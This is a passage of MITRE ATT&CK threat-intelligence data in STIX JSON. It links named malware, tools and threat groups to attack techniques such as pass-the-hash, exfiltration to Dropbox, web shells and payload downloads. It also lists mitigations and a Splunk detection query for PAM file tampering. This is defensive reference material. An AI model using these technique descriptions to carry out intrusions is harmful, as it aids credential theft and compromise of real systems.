cron.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be61f77a-93a3-4699-b134-52b199c7b196","type":"relationship","created":"2019-10-05T02:15:30.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-09T14:02:05.453Z","description":"Use access control lists on storage systems and objects.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be6403a2-a85d-4124-a506-48ba79909404","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for processes being viewed that may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be6891d8-5053-4877-836d-b8fd47cb74de","created":"2022-09-22T20:40:49.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:59:54.654Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors executed an encoded VBScript file using `wscript` and wrote the decoded output to a text file.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--be75f0ef-a8c8-42ec-b36b-670f7b528dd3","created":"2022-04-06T20:25:06.611Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) can use the `LoadResource` and `CreateProcessW` APIs for execution.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-15T19:15:55.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be7a1288-68fd-4125-969b-bd123865c6b1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2019-04-25T12:37:45.686Z","description":"(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be7f2951-ce33-4d48-ad9c-69071e54ae18","type":"relationship","created":"2020-12-07T21:06:57.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T21:06:57.852Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has automatically exfiltrated stolen files to Dropbox.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be840605-e9ad-44f2-9494-6babc7a63c23","created":"2023-09-25T18:56:12.161Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-25T18:56:12.161Z","description":"","relationship_type":"revoked-by","source_ref":"malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b","target_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be861f1b-0555-433a-b306-98c3903a566b","created":"2024-08-05T18:25:03.082Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T18:25:03.082Z","description":"Denylist Lua interpreters where appropriate.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be88a67a-191e-4497-ade8-13b74b88e0ef","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor executed commands and arguments that may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SolarWinds Steps","description":"Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.","url":"https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be8c0014-e10e-4854-8a5b-8a06e35a8623","type":"relationship","created":"2020-07-17T15:48:51.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:02.445Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can pass the hash to authenticate via SMB.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be8cf250-e9ce-41a2-beb8-888795f6fc04","type":"relationship","created":"2020-02-10T20:49:13.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T20:49:13.031Z","relationship_type":"revoked-by","source_ref":"attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00","target_ref":"attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be8f7d93-1de8-4376-bec9-4db0a15f7542","created":"2022-08-10T20:28:45.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.715Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for attached VGA devices using lspci.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be8fb0e9-a924-47be-9bb6-1eebe05881b7","type":"relationship","created":"2021-03-17T15:54:31.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Debian nbtscan Nov 2019","url":"https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html","description":"Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."},{"source_name":"SecTools nbtscan June 2003","url":"https://sectools.org/tool/nbtscan/","description":"SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}],"modified":"2021-04-24T20:45:08.560Z","description":"[NBTscan](https://attack.mitre.org/software/S0590) can list NetBIOS computer names.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t","relationship_type":"uses","source_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be93a442-915b-4923-b7dd-0a20098fe264","created":"2023-04-10T22:28:55.942Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:28:55.942Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has collected IP information via IPInfo.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be94a9ae-e54a-427e-8caa-36cea954abcb","type":"relationship","created":"2021-01-13T16:20:21.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-14T15:46:14.358Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) was identified on disk with a filename of taskhostsvc.exe and it created an encrypted log file at C:\\Windows\\Temp\\vmware-vmdmp.log.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be99408a-dc65-41a0-83db-235d8495e55c","type":"relationship","created":"2020-08-31T14:56:42.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-08-31T14:56:42.514Z","description":"[Valak](https://attack.mitre.org/software/S0476) has returned C2 data as encoded ASCII.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be9e89ef-de70-44e3-b3cb-73844f069ac4","created":"2022-09-16T21:22:22.778Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:22:22.778Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), threat actors relied on a victim to enable macros within a malicious Word document.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be9fb7de-682e-4c5e-96f3-872405674e51","type":"relationship","created":"2020-11-17T20:10:48.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T20:10:48.115Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can issue shell commands to download and execute additional payloads.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bea01073-649a-4b27-a9f5-72533faae8cc","type":"relationship","created":"2020-06-10T20:26:53.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.392Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to use HTTP in C2 communications.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bea0bf7c-62c8-4334-b523-5cc6ec8b36c8","type":"relationship","created":"2021-02-11T17:32:31.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2021-02-11T17:32:31.979Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has used a Perl script for information gathering.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","source_name":"Lee 2013"}],"modified":"2020-01-09T16:53:15.227Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component is a Web Shell payload.(Citation: Lee 2013)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--beae1b73-f369-4443-8e59-eb9e99665e8d","type":"relationship","created":"2020-05-26T16:17:59.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-15T19:59:06.583Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has looked for IP addresses in the known_hosts file on the infected system and attempted to SSH into them.(Citation: Talos Rocke August 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--beaf6c2d-e416-4edc-8091-414eee53f604","created":"2022-12-05T15:04:09.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:41:52.801Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has payed employees, suppliers, and business partners of target organizations for credentials.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--beb64039-e39c-4cf4-a2f1-401427f26ebc","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T16:17:49.094Z","description":"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nAnalytic 1 - Unauthorized changes to PAM configuration and module paths.\n\nindex=os sourcetype=\"linux_audit\" OR sourcetype=\"auditd\" \n(type=\"MODIFY\" OR type=\"CREATE\" OR type=\"DELETE\") \n(file=\"/etc/pam.d/*\" OR file=\"/usr/lib/security/*\" OR file=\"/lib/security/*\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bebaff50-23e0-43d6-ad31-4d84a3b2af73","type":"relationship","created":"2021-09-23T18:15:12.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."}],"modified":"2021-09-23T18:15:12.809Z","description":"[Babuk](https://attack.mitre.org/software/S0638) can enumerate all services running on a compromised host.(Citation: McAfee Babuk February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bec1b07a-6a67-469e-8b87-246e950d86b2","created":"2022-03-25T14:32:35.645Z","x_mitre_version":"1.0","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can generate shellcode outputs that execute via PowerShell.(Citation: Donut Github)\t","modified":"2022-04-18T16:25:46.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bec2b0d9-b76e-4acb-a9a4-adebe4c854c0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-20T15:42:34.404Z","description":"[Socksbot](https://attack.mitre.org/software/S0273) can take screenshots.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e494ad79-37ee-4cd0-866b-299c521d8b94","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bec31996-2778-4e16-af9a-6a73f148a074","created":"2024-02-12T19:21:48.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:33:37.588Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used SSH for lateral movement in compromised environments including for enabling access to ESXi host servers.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bec3259a-58d3-44a5-95c7-c8eb16427e85","created":"2023-03-02T18:52:48.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sophos BlackCat Jul 2022","description":"Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.","url":"https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"},{"source_name":"Microsoft 